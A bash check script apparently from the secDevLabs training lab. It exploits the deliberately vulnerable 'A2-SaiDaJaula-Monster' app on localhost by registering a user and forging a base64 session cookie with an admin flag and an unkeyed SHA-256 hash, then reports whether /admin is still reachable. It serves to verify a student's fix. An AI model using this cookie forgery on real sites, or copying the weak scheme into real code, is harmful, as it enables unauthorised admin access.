#!/bin/bash
#
# This script tries to exploit the intentionally vulnerable A2-SaiDaJaula-Monster the same way as shown in the attack narrative.
#

RESET='\033[0m'
GREEN='\033[32m'
RED='\033[31m'

username="user$RANDOM"
password="pass"
appPort=10002

registerAttemptSuccessfull() {
    registerMessage=$(curl --silent localhost:$appPort/register -F "username=$username" -F "password=$password" -F "password2=$password" -X POST)
    
    if [[ $registerMessage =~ "Error" ]]; then
        return 1
    fi

    return 0
}

loginAttemptSuccessfull() {
    logginMessage=$(curl --silent localhost:$appPort/login -F "username=$username" -F "password=$password" -X POST)

    if [[ $logginMessage =~ "Logged" ]]; then
        return 0
    fi

    return 1
}

adminIsAccessible() {
    cookieHashPart=($(echo -n {\"permissao\": 1, \"username\": \"$username\"} | shasum -a 256))
    base64Cookie=$(echo -n {\"permissao\": 1, \"username\": \"$username\"}.$cookieHashPart | base64)
    
    adminResponse=$(curl --silent --cookie "sessionId=$base64Cookie" http://localhost:$appPort/admin)

    if [[ $adminResponse =~ "You are an admin!" ]]; then
        return 0
    fi

    return 1
}

echo "secDevLabs: Exploiting your app locally!"
printf "Log in as admin by modifying session cookie.\n\n"

if registerAttemptSuccessfull && loginAttemptSuccessfull; then
    if adminIsAccessible; then
        echo "Response:"
        echo -e "${RED}The app is still exploitable${RESET}"
        exit 1
    else
        echo "Response:"
        echo -e "${GREEN}The app is no longer exploitable!${RESET}"
    fi
    exit 0
fi

printf "The script wasn't able to register a new user or to login.\nDid you change the app's port or modify the routes?\n"

exit 1
